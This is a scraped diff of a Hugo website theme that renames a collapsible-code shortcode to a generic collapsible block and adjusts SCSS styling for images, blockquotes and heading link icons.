border-bottom-left-radius: 10px;
border-bottom-right-radius: 10px;
background-color: lighten($light-background-secondary, 5%);
.dark-theme & {
background-color: darken($dark-background-secondary, 6%);
}
&-child {
transition: margin 0.15s ease;
margin: 1em;
.highlight {
margin: 0 -1em;
&:first-child {
margin-top: -1em;
}
&:last-child {
margin-bottom: -1em;
}
}
}
}
input[type="checkbox"]:checked {
~ .highlight,
~ .code-toolbar .highlight {
~ .collapsible-block__content {
max-height: 0;
padding: 0;
border-top: none;
overflow: hidden;
}
~ .code-toolbar {
padding: 0;
border-top: none;
.toolbar {
display: none;
}
}
~ label {
border-radius: 10px;
transition: border-radius 0.15s ease 0.1s;
}
~ label .collapsable-code__toggle:after {
~ label .collapsible-block__toggle:after {
content: attr(data-label-expand);
}
}
@ -59,6 +76,7 @@
min-height: 30px;
margin: 0;
cursor: pointer;
transition: border-radius 0s ease 0s;
.dark-theme & {
background: $dark-background-secondary;
@ -79,7 +97,7 @@
}
}
&__language {
&__badge {
background: $light-background;
color: $light-color;
border-radius: 10px;
@ -112,8 +130,4 @@
margin-bottom: 0;
border-radius: 0;
}
.code-toolbar {
margin: 0;
}
}

@ -110,6 +110,7 @@ img {
width: auto;
height: auto;
max-width: 100%;
max-height: 100%;
&.left {
margin-right: auto;
@ -134,7 +135,7 @@ img {
figure {
display: table;
max-width: 100%;
margin: 25px 0;
margin: 1em 0;
img {
border-radius: 8px;
@ -145,6 +146,11 @@ figure {
}
}
picture {
max-height: 100%;
max-width: 100%;
}
&.left {
margin-right: auto;
}
@ -246,6 +252,10 @@ figure {
background-color: transparentize(darken($dark-background, 5%), 0.08);
z-index: 10000;
picture {
max-height: 90%;
}
figcaption {
color: $dark-color;
font-size: 1.5rem;
@ -304,8 +314,9 @@ pre {
}
blockquote {
position: relative;
border-left: 2px solid;
margin: 40px;
margin: 20px 40px;
padding: 10px 20px;
@media #{$media-size-phone} {
@ -315,12 +326,12 @@ blockquote {
&:before {
content: "";
font-family: Georgia, serif;
// font-family: Georgia, serif;
font-display: auto;
font-size: 3.875rem;
position: absolute;
left: -40px;
top: -20px;
top: -13px;
}
p:first-of-type {
@ -507,8 +518,14 @@ table {
position: relative;
text-decoration: none;
--background-image: url("data:image/svg+xml, %3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%2224%22%20height=%2224%22%20viewBox=%220%200%2024%2024%22%20fill=%22none%22%20stroke=%22currentColor%22%20stroke-width=%222%22%20stroke-linecap=%22round%22%20stroke-linejoin=%22round%22%20class=%22feather%20feather-link%22%3E%3Cpath%20d=%22M10%2013a5%205%200%200%200%207.54.54l3-3a5%205%200%200%200-7.07-7.07l-1.72%201.71%22%3E%3C/path%3E%3Cpath%20d=%22M14%2011a5%205%200%200%200-7.54-.54l-3%203a5%205%200%200%200%207.07%207.07l1.71-1.71%22%3E%3C/path%3E%3C/svg%3E");
&.current-heading {
--background-image: url("data:image/svg+xml, %3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%2224%22%20height=%2224%22%20viewBox=%220%200%2024%2024%22%20fill=%22none%22%20stroke=%22green%22%20stroke-width=%224%22%20stroke-linecap=%22round%22%20stroke-linejoin=%22round%22%20class=%22feather%20feather-check%22%3E%3Cpolyline%20points=%2220%206%209%2017%204%2012%22%3E%3C/polyline%3E%3C/svg%3E");
}
&:hover {
&::after {
&::before {
content: " ";
display: inline-block;
position: absolute;
@ -516,7 +533,7 @@ table {
transform: translateY(-50%);
height: 100%;
background-image: url("data:image/svg+xml, %3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%2224%22%20height=%2224%22%20viewBox=%220%200%2024%2024%22%20fill=%22none%22%20stroke=%22currentColor%22%20stroke-width=%222%22%20stroke-linecap=%22round%22%20stroke-linejoin=%22round%22%20class=%22feather%20feather-link%22%3E%3Cpath%20d=%22M10%2013a5%205%200%200%200%207.54.54l3-3a5%205%200%200%200-7.07-7.07l-1.72%201.71%22%3E%3C/path%3E%3Cpath%20d=%22M14%2011a5%205%200%200%200-7.54-.54l-3%203a5%205%200%200%200%207.07%207.07l1.71-1.71%22%3E%3C/path%3E%3C/svg%3E");
background-image: var(--background-image);
background-repeat: no-repeat;
background-position: center;
background-size: auto 50%;
@ -525,7 +542,7 @@ table {
@media #{$media-size-tablet-min} {
&:hover {
&::after {
&::before {
right: 100%;
width: 1.5em;
}
@ -534,7 +551,7 @@ table {
@media #{$media-size-tablet} {
&:hover {
&::after {
&::before {
left: 100%;
width: 1.2em;
}

@ -16,5 +16,5 @@
@import "portfolios";
@import "footer";
@import "sharing-buttons";
@import "code";
@import "collapsible-block";
@import "masonry";

@ -1,17 +0,0 @@
{{ $id := delimit (shuffle (seq 1 9)) "" }}
{{ if .Get "language" }}
<div class="collapsable-code">
<input id="{{ .Get "id" | default $id }}" type="checkbox" {{ if ( eq ( .Get "isCollapsed" ) "true" ) -}} checked
{{- end }} />
<label for="{{ .Get "id" | default $id }}">
<span class="collapsable-code__language">{{ .Get "language" }}</span>
{{ if .Get "title" }}<span class="collapsable-code__title">{{ .Get "title" | markdownify }}</span>{{ end }}
<span class="collapsable-code__toggle" data-label-expand="{{ .Get "expand" | default "" }}"
data-label-collapse="{{ .Get "collapse" | default "▽" }}"></span>
</label>
{{ .Inner | markdownify }}
</div>
{{ else }}
{{ errorf "If you want to use the \"collapsable code\" shortcode, you need to pass a mandatory \"language\" param. The issue occured in %q (%q)" .Page.File .Page.Permalink }}
{{ end }}

@ -0,0 +1,19 @@
{{ $id := delimit (shuffle (seq 1 9)) "" }}
<div class="collapsible-block {{- with .Get "class" }} {{ . }}{{ end }}">
<input id="{{ .Get "id" | default $id }}" type="checkbox" {{ if ( eq ( .Get "isCollapsed" ) "true" ) -}} checked
{{- end }} />
<label for="{{ .Get "id" | default $id }}">
{{- with .Get "badge" }}
<span class="collapsible-block__badge">{{ . }}</span>
{{- end }}
{{ if .Get "title" }}<span class="collapsible-block__title">{{ .Get "title" | markdownify }}</span>{{ end }}
<span class="collapsible-block__toggle" data-label-expand="{{ .Get "expand" | default "" }}"
data-label-collapse="{{ .Get "collapse" | default "▽" }}"></span>
</label>
<div class="collapsible-block__content">
<div class="collapsible-block__content-child">
{{ .Inner | markdownify }}
</div>
</div>
</div>
Loading…
Cancel
Save